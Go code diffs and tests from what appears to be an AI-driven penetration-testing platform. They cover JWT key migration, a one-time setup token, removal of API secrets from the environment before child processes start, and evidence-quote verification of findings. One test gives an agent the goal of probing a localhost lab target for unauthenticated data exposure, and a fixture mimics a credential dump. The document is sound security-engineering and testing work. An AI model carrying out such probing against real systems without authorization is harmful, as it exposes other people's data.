keyDir, dataDir, baseDir := jwtKeyDirs(t)
legacy := filepath.Join(dataDir, jwtKeyFilename)
if src == "base" {
legacy = filepath.Join(baseDir, jwtKeyFilename)
}
if err := os.WriteFile(legacy, []byte(legacyKey+"\n"), 0o644); err != nil {
t.Fatal(err)
}
key, err := loadOrCreateJWTKey(keyDir, dataDir)
if err != nil {
t.Fatal(err)
}
if string(key) != legacyKey {
t.Fatalf("key=%q want the migrated %q", key, legacyKey)
}
path := filepath.Join(keyDir, jwtKeyFilename)
data, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if string(data) != legacyKey+"\n" {
t.Fatalf("migrated file content=%q, want the legacy bytes unchanged", data)
}
assertKeyFileMode(t, path)
assertMissing(t, legacy)
})
}
}
func TestLoadOrCreateJWTKeyMigratesDataDirFirst(t *testing.T) {
keyDir, dataDir, baseDir := jwtKeyDirs(t)
dataKey := "data-key-0123456789abcdefghijklmn"
baseKey := "base-key-0123456789abcdefghijklmn"
if err := os.WriteFile(filepath.Join(dataDir, jwtKeyFilename), []byte(dataKey), 0o600); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(baseDir, jwtKeyFilename), []byte(baseKey), 0o600); err != nil {
t.Fatal(err)
}
key, err := loadOrCreateJWTKey(keyDir, dataDir)
if err != nil {
t.Fatal(err)
}
if string(key) != dataKey {
t.Fatalf("key=%q want the dataDir key", key)
}
assertMissing(t, filepath.Join(dataDir, jwtKeyFilename))
}
func TestLoadOrCreateJWTKeyGenerates(t *testing.T) {
keyDir, dataDir, _ := jwtKeyDirs(t)
key, err := loadOrCreateJWTKey(keyDir, dataDir)
if err != nil {
t.Fatal(err)
}
if len(key) != 32 {
t.Fatalf("len(key)=%d want 32", len(key))
}
path := filepath.Join(keyDir, jwtKeyFilename)
data, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if len(data) != 32 || string(data) != string(key) {
t.Fatalf("file holds %d bytes, want the 32 returned", len(data))
}
assertKeyFileMode(t, path)
assertMissing(t, filepath.Join(dataDir, jwtKeyFilename))
again, err := loadOrCreateJWTKey(keyDir, dataDir)
if err != nil {
t.Fatal(err)
}
if string(again) != string(key) {
t.Fatal("second load returned a different key")
}
}
func TestLoadOrCreateJWTKeyNeverOverwrites(t *testing.T) {
keyDir, dataDir, baseDir := jwtKeyDirs(t)
if err := os.MkdirAll(keyDir, 0o700); err != nil {
t.Fatal(err)
}
path := filepath.Join(keyDir, jwtKeyFilename)
current := "current-key-0123456789abcdefghijk"
if err := os.WriteFile(path, []byte(current), 0o600); err != nil {
t.Fatal(err)
}
// legacy keys must not replace the current one, and are left alone.
legacyData := filepath.Join(dataDir, jwtKeyFilename)
legacyBase := filepath.Join(baseDir, jwtKeyFilename)
for _, p := range []string{legacyData, legacyBase} {
if err := os.WriteFile(p, []byte("legacy-key-0123456789abcdefghijkl"), 0o600); err != nil {
t.Fatal(err)
}
}
key, err := loadOrCreateJWTKey(keyDir, dataDir)
if err != nil {
t.Fatal(err)
}
if string(key) != current {
t.Fatalf("key=%q want the existing %q", key, current)
}
for _, p := range []string{legacyData, legacyBase} {
if _, err := os.Stat(p); err != nil {
t.Fatalf("legacy key %s should be untouched: %v", p, err)
}
}
// a short (invalid) key is an error, not a reason to replace it.
short := "too-short"
if err := os.WriteFile(path, []byte(short), 0o600); err != nil {
t.Fatal(err)
}
if _, err := loadOrCreateJWTKey(keyDir, dataDir); err == nil {
t.Fatal("want an error for a short key")
}
data, err := os.ReadFile(path)
if err != nil {
t.Fatal(err)
}
if string(data) != short {
t.Fatalf("short key was overwritten with %d bytes", len(data))
}
}
// GetSetting distinguishes "key absent" from "read failed" only through its error:
// both return an empty value. If a password handler mistakes the error for "no
// password set yet", a database blip opens the init door — authInit would let an
@@ -62,16 +240,73 @@ func TestAuthInitFailsClosedWhenDataSourceUnavailable(t *testing.T) {
}
}
// While no password is set, authInit must reject a missing or wrong setup token
// and accept the one generated at startup, once.
func TestAuthInitRequiresSetupToken(t *testing.T) {
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Skipf("postgres unavailable (%v)", err)
}
defer m.Close()
clearPassword := func() {
if _, err := m.pg.Exec(`DELETE FROM settings WHERE key=$1`, authPassKey); err != nil {
t.Fatal(err)
}
}
clearPassword()
defer clearPassword()
s := &Server{m: m, jwtKey: []byte("0123456789abcdef0123456789abcdef")}
s.initSetupToken()
setupToken := s.setupToken
if setupToken == "" {
t.Fatal("no setup token generated while no password is set")
}
post := func(body string) *httptest.ResponseRecorder {
w := httptest.NewRecorder()
s.authInit(w, httptest.NewRequest("POST", "/api/auth/init", strings.NewReader(body)))
return w
}
for name, body := range map[string]string{
"missing": `{"password":"correct horse battery"}`,
"empty": `{"password":"correct horse battery","setup_token":""}`,
"wrong": `{"password":"correct horse battery","setup_token":"0000"}`,
} {
if w := post(body); w.Code != 403 || strings.Contains(w.Body.String(), `"token"`) {
t.Fatalf("%s setup token: status=%d want 403 without a token; body=%s", name, w.Code, w.Body.String())
}
}
if hash, _, err := m.pg.GetSetting(authPassKey); err != nil || hash != "" {
t.Fatalf("a rejected request changed the password state: hash set=%v err=%v", hash != "", err)
}
ok := `{"password":"correct horse battery","setup_token":"` + setupToken + `"}`
if w := post(ok); w.Code != 200 || !strings.Contains(w.Body.String(), `"token"`) {
t.Fatalf("right setup token: status=%d want 200 with a token; body=%s", w.Code, w.Body.String())
}
if hash, _, err := m.pg.GetSetting(authPassKey); err != nil || hash == "" {
t.Fatalf("password not stored: err=%v", err)
}
// The token is spent: even with the password row removed, it is refused.
clearPassword()
if w := post(ok); w.Code != 403 {
t.Fatalf("reused setup token: status=%d want 403; body=%s", w.Code, w.Body.String())
}
}
func TestValidatePassword(t *testing.T) {
for _, tc := range []struct {
name, pw string
wantErr bool
}{
{"empty", "", true},
{"seven chars", "1234567", true},
{"eight chars", "12345678", false},
{"eight multibyte chars counted as runes not bytes", strings.Repeat("€", 8), false},
{"three chars reach 9 bytes but only 3 runes", strings.Repeat("€", 3), true},
{"eight chars, the old minimum", "12345678", true},
{"eleven chars", "12345678901", true},
{"twelve chars", "123456789012", false},
{"twelve multibyte chars counted as runes not bytes", strings.Repeat("€", 12), false},
{"four chars reach 12 bytes but only 4 runes", strings.Repeat("€", 4), true},
{"72 bytes", strings.Repeat("a", 72), false},
{"73 bytes exceeds the bcrypt cap", strings.Repeat("a", 73), true},
} {
+2 -2
View File
@@ -103,7 +103,7 @@ func (s *Server) pgCreateConversation(w http.ResponseWriter, r *http.Request) {
}
if req.LLMProfileID != nil {
if _, ok := s.loadProfileConfig(*req.LLMProfileID); !ok {
writeErr(w, 400, "The specified LLM profile does not exist or has no API Key set")
writeErr(w, 400, "The specified LLM profile does not exist or is not usable (no API key for the key-requiring formats)")
return
}
}
@@ -136,7 +136,7 @@ func (s *Server) pgUpdateConversation(w http.ResponseWriter, r *http.Request) {
}
if req.LLMProfileID != nil {
if _, ok := s.loadProfileConfig(*req.LLMProfileID); !ok {
writeErr(w, 400, "The specified LLM profile does not exist or has no API Key set")
writeErr(w, 400, "The specified LLM profile does not exist or is not usable (no API key for the key-requiring formats)")
return
}
}
+1 -1
View File
@@ -62,7 +62,7 @@ func TestCoreTaskLifecyclePG(t *testing.T) {
}
// create a task → 201, returns PG task (string id + exploration_id)
code, out := doRetry("POST", "/api/tasks", map[string]string{"description": "smoke", "goal": "test SQLi/XSS"})
code, out := doRetry("POST", "/api/tasks", map[string]string{"description": "smoke", "goal": "Probe the lab target at http://127.0.0.1:9/v1 for unauthenticated data exposure; record one record as evidence and stop."})
if code != 201 {
t.Fatalf("create task: %d (%v)", code, out)
}
+10
View File
@@ -55,6 +55,7 @@ type TaskDTO struct {
LLMProfileID *int64 `json:"llm_profile_id,omitempty"` // LLM profile used for this task; nil = default
LLMProfileIDs []int64 `json:"llm_profile_ids"`
ActiveLLMProfileID *int64 `json:"active_llm_profile_id,omitempty"`
LLMRotate bool `json:"llm_rotate"`
LLMFailoverState string `json:"llm_failover_state"`
LLMFailoverReason string `json:"llm_failover_reason,omitempty"`
SourceTaskIDs []string `json:"source_task_ids"`
@@ -130,6 +131,7 @@ func taskDTO(t *Task, status string) TaskDTO {
LLMProfileID: llmState.ProfileID,
LLMProfileIDs: profileIDs,
ActiveLLMProfileID: llmState.ActiveID,
LLMRotate: t.LLMRotate,
LLMFailoverState: llmState.FailoverState,
LLMFailoverReason: llmState.FailoverReason,
SourceTaskIDs: sourceIDs,
@@ -310,6 +312,9 @@ type FindingDTO struct {
ReportEvidenceVersion int64 `json:"report_evidence_version"`
ReportStale bool `json:"report_stale"`
TrafficBindings []db.FindingTrafficBinding `json:"traffic_bindings,omitempty"`
PoELevel int `json:"poe_level"`
VerificationStatus string `json:"verification_status"`
VerificationNote string `json:"verification_note"`
ID string `json:"id"`
FindingID string `json:"finding_id,omitempty"` // standalone findings-table id — the handle for status updates
@@ -450,6 +455,7 @@ func findingFromDB(f *db.DBFinding, assets map[int64]*db.Asset) FindingDTO {
FindingID: i64s(f.ID),
TrafficCount: f.TrafficCount, EvidenceVersion: f.EvidenceVersion, ReportEvidenceVersion: f.ReportEvidenceVersion,
ReportStale: f.Report != "" && f.EvidenceVersion != f.ReportEvidenceVersion, TrafficBindings: f.TrafficBindings,
PoELevel: f.PoELevel, VerificationStatus: f.VerificationStatus, VerificationNote: f.VerificationNote,
VulnClass: f.VulnClass,
Name: f.Name,
Severity: f.Severity,
@@ -615,6 +621,9 @@ type LLMProfileDTO struct {
// Custom session header name: when non-empty, every request carries this HTTP header,
// its value = the current session/intent's session id. '' = do not send. For gateways that key prompt caching/sticky routing off a session-id header.
SessionHeaderKey string `json:"session_header_key"`
// Custom User-Agent: when non-empty, every outbound LLM request overrides its
// User-Agent header with this value. '' = do not override (keep the default UA).
UserAgent string `json:"user_agent"`
// This profile's retry overrides (connect / empty response / same-provider safe
// window). Per item attempts: 0=inherit the global policy | -1=disable that retry
// layer | >0=count; interval_ms: 0=default exponential backoff | >0=use that fixed millisecond interval. All zero = fully follow the global policy, i.e. the historical behavior.
@@ -642,6 +651,7 @@ func llmProfileDTO(p *db.LLMProfile) LLMProfileDTO {
MaxTokens: p.MaxTokens,
MaxTokensField: p.MaxTokensField,
SessionHeaderKey: p.SessionHeaderKey,
UserAgent: p.UserAgent,
Retry: p.Retry,
}
}
+8
View File
@@ -1017,6 +1017,14 @@ func (e *Engine) runWorkerStep(ctx context.Context, t *Task, name string, worker
// must already hold one task-operation admission for the whole sequence so a delete
// cannot observe quiescence between the LLM return and the final DB writes.
func (e *Engine) runIntent(ctx context.Context, t *Task, name string, worker *agent.Worker, intent *db.Node, requestID, message string) bool {
// Per-intent LLM rotation (#85): each claimed worker intent runs on the
// next chain head. The pin travels through the run context into the
// provider resolver; non-worker roles and failover keep the active head.
if t.LLMRotate {
if head, ok := t.nextRotatedProfile(); ok {
ctx = withLLMProfilePin(ctx, head)
}
}
hasChatMessage := message != ""
e.stampFirstRun(t) // first real execution → stamp first_run_at + compute the deadline (only for tasks with a timeout)
e.touch(t.ID)
+30
View File
@@ -0,0 +1,30 @@
package server
import "os"
// secretEnv lists the credentials read from the environment only at startup:
// ARTEX_PG_DSN by NewManager, the API keys by agent.FromEnv inside New.
var secretEnv = []string{"ARTEX_PG_DSN", "ANTHROPIC_API_KEY", "OPENAI_API_KEY"}
// ScrubSecretEnv removes secretEnv from the process environment once startup has
// read it. Child processes (agent shells, custom tools, MCP stdio servers) copy
// os.Environ() when they are spawned, so they no longer inherit these values.
//
// It runs inside New, after both readers and before the MCP discovery goroutine
// and the task resume loop: both can spawn children, and resuming a task starts
// workers that run shells. Scrubbing in main after New returned left that window
// open.
func ScrubSecretEnv() {
for _, k := range secretEnv {
_ = os.Unsetenv(k)
}
}
// Option configures New. Options keep the test call sites unchanged: only the
// binary opts into scrubbing, because tests create several servers in one
// process and still need ARTEX_PG_DSN on later calls.
type Option func(*Server)
// WithSecretScrub makes New drop the startup secrets after reading them, before
// the MCP discovery goroutine and the task resume loop can spawn children.
func WithSecretScrub() Option { return func(s *Server) { s.scrubSecrets = true } }
+65
View File
@@ -0,0 +1,65 @@
package server
import (
"context"
"os"
"os/exec"
"strings"
"testing"
)
// A child process spawned after startup must not see the startup secrets, while
// other variables still pass through.
func TestScrubSecretEnvHidesSecretsFromChildren(t *testing.T) {
sh, err := exec.LookPath("sh")
if err != nil {
t.Skip("no sh in PATH")
}
for _, k := range secretEnv {
t.Setenv(k, "leak-"+k)
}
t.Setenv("ARTEX_SCRUB_KEEP", "kept")
ScrubSecretEnv()
out, err := exec.Command(sh, "-c", "env").Output()
if err != nil {
t.Fatal(err)
}
env := "\n" + string(out)
for _, k := range secretEnv {
if strings.Contains(env, "\n"+k+"=") {
t.Errorf("%s still reaches child processes", k)
}
}
if !strings.Contains(env, "\nARTEX_SCRUB_KEEP=kept\n") {
t.Errorf("non-secret variable did not reach the child process")
}
}
// New must apply the options it receives. An earlier version accepted
// ...Option and never called them, so the binary kept the secrets in the
// environment while the unit test above still passed.
func TestNewAppliesSecretScrubOption(t *testing.T) {
// t.Setenv restores both after the test: the scrub unsets them for the rest
// of this process, and later tests still need the DSN.
if dsn := os.Getenv("ARTEX_PG_DSN"); dsn != "" {
t.Setenv("ARTEX_PG_DSN", dsn)
}
t.Setenv("ANTHROPIC_API_KEY", "scrub-probe")
t.Setenv("OPENAI_API_KEY", "scrub-probe")
m, err := NewManager(t.TempDir(), "")
if err != nil {
t.Skipf("no manager: %v", err)
}
t.Cleanup(func() { m.Close() })
ctx, cancel := context.WithCancel(context.Background())
cancel()
_ = New(ctx, m, t.TempDir(), t.TempDir(), t.TempDir(), WithSecretScrub())
if os.Getenv("ANTHROPIC_API_KEY") != "" || os.Getenv("OPENAI_API_KEY") != "" {
t.Fatal("New did not apply WithSecretScrub: the secrets are still in the environment")
}
}
+244
View File
@@ -0,0 +1,244 @@
package server
import (
"bytes"
"compress/flate"
"compress/gzip"
"compress/zlib"
"context"
"encoding/json"
"fmt"
"io"
"log"
"strings"
"unicode/utf8"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/evidence"
)
// S1 receipt check. A finding is verified only when a proof/verification
// traffic body is bound, the agent declared POE L3 or higher, and every quote
// appears verbatim (after whitespace normalization) in one of those response
// bodies. Anything else is unverified, blocked or not_assessed, with a note.
const (
verificationMinPOE = 3
verificationMinQuoteRunes = 8 // shorter normalized quotes are ignored: "x7" proves nothing
verificationReadCap = 4 << 20 // bytes read per bound body; a quote beyond this cannot be confirmed
verificationNoteQuoteLen = 60
)
// boundBody is one bound response body, read through the evidence store and
// normalized for the substring check.
type boundBody struct {
text string // whitespace-normalized text (only when !nonText)
truncated bool // body was longer than verificationReadCap
nonText bool // binary or non-UTF-8 content: never claimed as a match
}
// normalizeEvidenceText trims and collapses every run of whitespace to one space.
// Case is kept.
func normalizeEvidenceText(s string) string {
return strings.Join(strings.Fields(s), " ")
}
// decodeEvidenceBody undoes the HTTP Content-Encoding declared in respHead on a
// captured response body, returning at most limit decoded bytes. Only identity
// and one layer of gzip or deflate are handled. Any other coding, a stacked
// coding or a stream that does not decode is an error: the raw bytes are never
// returned in place of a failed decode.
func decodeEvidenceBody(respHead string, raw []byte, limit int) (out []byte, truncated bool, err error) {
coding := ""
for _, line := range strings.Split(respHead, "\n") {
name, value, ok := strings.Cut(line, ":")
if !ok || !strings.EqualFold(strings.TrimSpace(name), "Content-Encoding") {
continue
}
for _, v := range strings.Split(value, ",") {
switch v = strings.ToLower(strings.TrimSpace(v)); v {
case "", "identity":
case "gzip", "deflate":
if coding != "" {
return nil, false, fmt.Errorf("unsupported content-encoding: more than one compressed layer")
}
coding = v
default:
return nil, false, fmt.Errorf("unsupported content-encoding: %q", v)
}
}
}
if coding == "" || len(raw) == 0 {
return raw, false, nil
}
var zr io.Reader
switch {
case coding == "gzip":
zr, err = gzip.NewReader(bytes.NewReader(raw))
case len(raw) >= 2 && raw[0]&0x0f == 8 && raw[0]>>4 <= 7 && (uint(raw[0])<<8|uint(raw[1]))%31 == 0:
// HTTP "deflate" is the zlib format (RFC 9110); some servers send a bare
// deflate stream instead, told apart by the zlib header.
zr, err = zlib.NewReader(bytes.NewReader(raw))
default:
zr = flate.NewReader(bytes.NewReader(raw))
}
if err == nil {
out, err = io.ReadAll(io.LimitReader(zr, int64(limit)+1))
}
if err != nil {
return nil, false, fmt.Errorf("%s body: %w", coding, err)
}
if len(out) > limit {
return out[:limit], true, nil
}
return out, false, nil
}
// readBoundResponse reads the response side of a bound snapshot through the
// evidence store (same bytes the UI shows), capped at verificationReadCap, and
// decodes its Content-Encoding under the same cap.
func readBoundResponse(store *evidence.Store, snap db.TrafficEvidenceSnapshot) (boundBody, error) {
f, _, err := store.OpenBody(snap, "response")
if err != nil {
return boundBody{}, err
}
defer f.Close()
raw, err := io.ReadAll(io.LimitReader(f, verificationReadCap+1))
if err != nil {
return boundBody{}, err
}
var bb boundBody
if len(raw) > verificationReadCap {
bb.truncated = true
raw = raw[:verificationReadCap]
}
raw, cut, err := decodeEvidenceBody(snap.RespHead, raw, verificationReadCap)
if err != nil {
return boundBody{}, err
}
if cut {
bb.truncated = true
}
if bb.truncated {
// The cap may cut a multi-byte rune: drop at most UTFMax-1 trailing bytes.
for i := 0; i < utf8.UTFMax-1 && !utf8.Valid(raw) && len(raw) > 0; i++ {
raw = raw[:len(raw)-1]
}
}
if bytes.IndexByte(raw, 0) >= 0 || !utf8.Valid(raw) {
bb.nonText = true
return bb, nil
}
bb.text = normalizeEvidenceText(string(raw))
return bb, nil
}
// assessFindingVerification computes the verification state of a finding from
// its bound traffic and the quotes the agent supplied. poe is the declared POE
// level (0 when absent). It never returns "verified" unless every rule passes.
func (s *Server) assessFindingVerification(ctx context.Context, findingID int64, poe int, quotes []string) (status, note string) {
tr, err := s.m.pg.GetFindingTraffic(ctx, findingID)
if err != nil {
return db.VerificationNotAssessed, "binding read error: " + err.Error()
}
var proofs []db.FindingTrafficBinding
for _, b := range tr.Bindings {
if b.Role == "proof" || b.Role == "verification" {
proofs = append(proofs, b)
}
}
if len(proofs) == 0 {
return db.VerificationUnverified, "no proof traffic bound"
}
if poe < verificationMinPOE {
return db.VerificationUnverified, fmt.Sprintf("POE L%d below L3", poe)
}
if len(quotes) == 0 {
return db.VerificationUnverified, "no evidence quotes provided"
}
var checked []string
for _, q := range quotes {
if utf8.RuneCountInString(normalizeEvidenceText(q)) >= verificationMinQuoteRunes {
checked = append(checked, q)
}
}
if len(checked) == 0 {
return db.VerificationUnverified, "evidence quote too short"
}
store := s.evidenceStore()
bodies := make([]boundBody, 0, len(proofs))
for _, b := range proofs {
bb, err := readBoundResponse(store, b.Snapshot)
if err != nil {
// Fail closed: an unreadable body is never an "unverified" verdict.
return db.VerificationNotAssessed, "evidence body unreadable: " + err.Error()
}
bodies = append(bodies, bb)
}
for _, q := range checked {
nq := normalizeEvidenceText(q)
if nq != "" && quoteInBodies(nq, bodies) {
continue
}
for _, bb := range bodies {
if bb.nonText {
return db.VerificationNotAssessed, "non-text evidence"
}
}
for _, bb := range bodies {
if bb.truncated {
return db.VerificationNotAssessed, "quote not found within read cap of bound evidence"
}
}
return db.VerificationUnverified, "quote not found in bound evidence: " + shortQuote(q)
}
return db.VerificationVerified, ""
}
func quoteInBodies(nq string, bodies []boundBody) bool {
for _, bb := range bodies {
if !bb.nonText && strings.Contains(bb.text, nq) {
return true
}
}
return false
}
// shortQuote returns the first verificationNoteQuoteLen runes of the trimmed
// quote, for use in a note.
func shortQuote(q string) string {
r := []rune(strings.TrimSpace(q))
if len(r) > verificationNoteQuoteLen {
r = r[:verificationNoteQuoteLen]
}
return string(r)
}
// seedFindingVerificationSchema adds the S1 optional properties to the
// update_finding_report schema of existing databases. Idempotent: a property is
// added only when the stored schema lacks it, and user edits are preserved.
func (s *Server) seedFindingVerificationSchema() {
raw, err := json.Marshal(s.toolUpdateFindingReport().InputSchema())
if err != nil {
log.Printf("[verification] tool schema: %v", err)
return
}
var obj map[string]json.RawMessage
if err := json.Unmarshal(raw, &obj); err != nil {
return
}
var properties map[string]json.RawMessage
if err := json.Unmarshal(obj["properties"], &properties); err != nil {
return
}
for _, name := range []string{"poe_level", "evidence_quotes"} {
if len(properties[name]) == 0 {
continue
}
_, err := s.m.pg.Exec(`UPDATE tools SET schema=jsonb_set(schema,ARRAY['properties',$2::text],$3::jsonb,true),updated_at=now()
WHERE key=$1 AND system AND NOT(COALESCE(schema->'properties','{}'::jsonb) ? $2)`, "update_finding_report", name, string(properties[name]))
if err != nil {
log.Printf("[verification] upgrade update_finding_report.%s: %v", name, err)
}
}
}
+285
View File
@@ -0,0 +1,285 @@
package server
import (
"bytes"
"compress/flate"
"compress/gzip"
"compress/zlib"
"crypto/sha256"
"encoding/hex"
"io"
"os"
"path/filepath"
"strings"
"testing"
"github.com/Autumn-27/artex/db"
"github.com/Autumn-27/artex/evidence"
)
const (
decodeGzipHead = "HTTP 200\nContent-Type: text/html\nContent-Encoding: gzip\n"
decodeHTML = "<html>\n <body>user admin:\tx7\n end of dump</body>\n</html>"
decodeQuote = "user admin: x7 end of dump"
)
// compressBody runs data through the compressor built by newWriter.
func compressBody(t *testing.T, newWriter func(io.Writer) io.WriteCloser, data []byte) []byte {
t.Helper()
var buf bytes.Buffer
w := newWriter(&buf)
if _, err := w.Write(data); err != nil {
t.Fatal(err)
}
if err := w.Close(); err != nil {
t.Fatal(err)
}
return buf.Bytes()
}
func gzipBody(t *testing.T, data []byte) []byte {
return compressBody(t, func(w io.Writer) io.WriteCloser { return gzip.NewWriter(w) }, data)
}
// decodeSnapshot stores raw as a response body in a database-less evidence
// store (same layout as evidence.hashPath) and returns the snapshot bound to it.
func decodeSnapshot(t *testing.T, respHead string, raw []byte) (*evidence.Store, db.TrafficEvidenceSnapshot) {
t.Helper()
sum := sha256.Sum256(raw)
hash := hex.EncodeToString(sum[:])
dir := t.TempDir()
path := filepath.Join(dir, "blobs", hash[:2], hash+".bin")
if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(path, raw, 0o644); err != nil {
t.Fatal(err)
}
return &evidence.Store{Dir: dir}, db.TrafficEvidenceSnapshot{RespHead: respHead, RespHash: hash, RespLen: int64(len(raw))}
}
func TestDecodeEvidenceBodyGzipQuoteFound(t *testing.T) {
raw := gzipBody(t, []byte(decodeHTML))
if strings.Contains(string(raw), "admin") {
t.Fatal("fixture is not compressed")
}
out, truncated, err := decodeEvidenceBody(decodeGzipHead, raw, verificationReadCap)
if err != nil || truncated {
t.Fatalf("decode: truncated=%v err=%v", truncated, err)
}
if string(out) != decodeHTML {
t.Fatalf("decoded %q, want %q", out, decodeHTML)
}
if !strings.Contains(normalizeEvidenceText(string(out)), normalizeEvidenceText(decodeQuote)) {
t.Fatalf("quote %q not found in decoded body", decodeQuote)
}
}
func TestDecodeEvidenceBodyTruncatedGzipFails(t *testing.T) {
raw := gzipBody(t, []byte(strings.Repeat(decodeHTML, 50)))
for _, cut := range []int{5, len(raw) / 2, len(raw) - 1} {
out, truncated, err := decodeEvidenceBody(decodeGzipHead, raw[:cut], verificationReadCap)
if err == nil || out != nil || truncated {
t.Fatalf("cut at %d: out=%d bytes truncated=%v err=%v, want an error and no bytes", cut, len(out), truncated, err)
}
}
// Not gzip at all: the raw bytes must not come back either.
out, _, err := decodeEvidenceBody(decodeGzipHead, []byte(decodeHTML), verificationReadCap)
if err == nil || out != nil {
t.Fatalf("plain text declared as gzip: out=%q err=%v, want an error and no bytes", out, err)
}
}
func TestDecodeEvidenceBodyIdentityAndNoHeaderUnchanged(t *testing.T) {
raw := []byte(decodeHTML)
for _, head := range []string{
"",
"HTTP 200\nContent-Type: text/html\n",
"HTTP 200\nContent-Encoding: identity\n",
"HTTP 200\r\ncontent-encoding: Identity \r\n",
} {
out, truncated, err := decodeEvidenceBody(head, raw, verificationReadCap)
if err != nil || truncated || !bytes.Equal(out, raw) {
t.Fatalf("head %q: out=%q truncated=%v err=%v, want the raw bytes", head, out, truncated, err)
}
}
}
func TestDecodeEvidenceBodyUnknownEncodingFails(t *testing.T) {
raw := gzipBody(t, []byte(decodeHTML))
for _, head := range []string{
"HTTP 200\nContent-Encoding: br\n",
"HTTP 200\nContent-Encoding: gzip, br\n",
"HTTP 200\nContent-Encoding: gzip\nContent-Encoding: zstd\n",
} {
out, _, err := decodeEvidenceBody(head, raw, verificationReadCap)
if err == nil || !strings.Contains(err.Error(), "unsupported content-encoding") || out != nil {
t.Fatalf("head %q: out=%d bytes err=%v, want unsupported content-encoding", head, len(out), err)
}
}
}
func TestDecodeEvidenceBodyTwoLayersFails(t *testing.T) {
raw := gzipBody(t, gzipBody(t, []byte(decodeHTML)))
for _, head := range []string{
"HTTP 200\nContent-Encoding: gzip, gzip\n",
"HTTP 200\nContent-Encoding: gzip\nContent-Encoding: deflate\n",
} {
out, _, err := decodeEvidenceBody(head, raw, verificationReadCap)
if err == nil || !strings.Contains(err.Error(), "unsupported content-encoding") || out != nil {
t.Fatalf("head %q: out=%d bytes err=%v, want unsupported content-encoding", head, len(out), err)
}
}
}
func TestDecodeEvidenceBodyOverLimitTruncated(t *testing.T) {
const limit = 1000
plain := []byte(strings.Repeat("0123456789", 500))
out, truncated, err := decodeEvidenceBody(decodeGzipHead, gzipBody(t, plain), limit)
if err != nil || !truncated || len(out) != limit || !bytes.Equal(out, plain[:limit]) {
t.Fatalf("over limit: len=%d truncated=%v err=%v, want %d bytes truncated", len(out), truncated, err, limit)
}
// Exactly at the limit is complete, not truncated.
out, truncated, err = decodeEvidenceBody(decodeGzipHead, gzipBody(t, plain[:limit]), limit)
if err != nil || truncated || len(out) != limit {
t.Fatalf("at limit: len=%d truncated=%v err=%v, want %d bytes not truncated", len(out), truncated, err, limit)
}
}
func TestDecodeEvidenceBodyUppercaseHeader(t *testing.T) {
raw := gzipBody(t, []byte(decodeHTML))
for _, head := range []string{
"HTTP 200\nContent-Encoding: GZIP\n",
"HTTP 200\r\nCONTENT-ENCODING: GZIP\r\n",
} {
out, truncated, err := decodeEvidenceBody(head, raw, verificationReadCap)
if err != nil || truncated || string(out) != decodeHTML {
t.Fatalf("head %q: out=%q truncated=%v err=%v", head, out, truncated, err)
}
}
}
func TestDecodeEvidenceBodyDeflate(t *testing.T) {
const head = "HTTP 200\nContent-Encoding: deflate\n"
bodies := map[string][]byte{
"zlib": compressBody(t, func(w io.Writer) io.WriteCloser { return zlib.NewWriter(w) }, []byte(decodeHTML)),
"raw": compressBody(t, func(w io.Writer) io.WriteCloser {
fw, err := flate.NewWriter(w, flate.DefaultCompression)
if err != nil {
t.Fatal(err)
}
return fw
}, []byte(decodeHTML)),
}
for name, raw := range bodies {
out, truncated, err := decodeEvidenceBody(head, raw, verificationReadCap)
if err != nil || truncated || string(out) != decodeHTML {
t.Fatalf("%s deflate: out=%q truncated=%v err=%v", name, out, truncated, err)
}
if out, _, err := decodeEvidenceBody(head, raw[:len(raw)-1], verificationReadCap); err == nil || out != nil {
t.Fatalf("truncated %s deflate: out=%d bytes err=%v, want an error and no bytes", name, len(out), err)
}
}
}
func TestDecodeBoundResponseGzipTextIsSearchable(t *testing.T) {
store, snap := decodeSnapshot(t, decodeGzipHead, gzipBody(t, []byte(decodeHTML)))
bb, err := readBoundResponse(store, snap)
if err != nil {
t.Fatal(err)
}
if bb.nonText || bb.truncated {
t.Fatalf("gzip html: nonText=%v truncated=%v", bb.nonText, bb.truncated)
}
if !quoteInBodies(normalizeEvidenceText(decodeQuote), []boundBody{bb}) {
t.Fatalf("quote %q not found in %q", decodeQuote, bb.text)
}
}
func TestDecodeBoundResponseGzipBinaryStaysNonText(t *testing.T) {
binary := append([]byte("PNG\x00\x01\x02 user admin: x7 end of dump "), 0xff, 0xfe)
store, snap := decodeSnapshot(t, decodeGzipHead, gzipBody(t, binary))
bb, err := readBoundResponse(store, snap)
if err != nil {
t.Fatal(err)
}
if !bb.nonText || bb.text != "" {
t.Fatalf("gzip binary: nonText=%v text=%q, want non-text", bb.nonText, bb.text)
}
if quoteInBodies(normalizeEvidenceText(decodeQuote), []boundBody{bb}) {
t.Fatal("quote matched inside a non-text body")
}
}
func TestDecodeBoundResponseBadGzipIsAnError(t *testing.T) {
raw := gzipBody(t, []byte(decodeHTML))
store, snap := decodeSnapshot(t, decodeGzipHead, raw[:len(raw)-4])
if bb, err := readBoundResponse(store, snap); err == nil {
t.Fatalf("truncated gzip: got %+v, want an error", bb)
}
store, snap = decodeSnapshot(t, "HTTP 200\nContent-Encoding: br\n", raw)
if bb, err := readBoundResponse(store, snap); err == nil || !strings.Contains(err.Error(), "unsupported content-encoding") {
t.Fatalf("br: got %+v err=%v, want unsupported content-encoding", bb, err)
}
}
// A response captured with Content-Encoding: gzip and no body at all (HEAD,
// 304) is not a decode failure: it stays an empty body, without error.
func TestDecodeEvidenceBodyEmptyBodyWithEncodingStaysEmpty(t *testing.T) {
for _, head := range []string{
decodeGzipHead,
"HTTP 304\r\nCONTENT-ENCODING: GZIP\r\n",
"HTTP 200\nContent-Encoding: deflate\n",
} {
for _, raw := range [][]byte{nil, {}} {
out, truncated, err := decodeEvidenceBody(head, raw, verificationReadCap)
if err != nil || truncated || len(out) != 0 {
t.Fatalf("head %q: out=%q truncated=%v err=%v, want an empty body and no error", head, out, truncated, err)
}
}
}
}
// An empty bound body, compressed or not, is read without error but can never
// satisfy a quote. In assessFindingVerification a quote that matches no body
// only leads to unverified or not_assessed, never verified, so this is what
// keeps an empty response (HEAD, 304) from verifying a finding.
func TestDecodeBoundResponseEmptyBodyNeverMatchesQuote(t *testing.T) {
cases := []struct {
name string
head string
raw []byte
}{
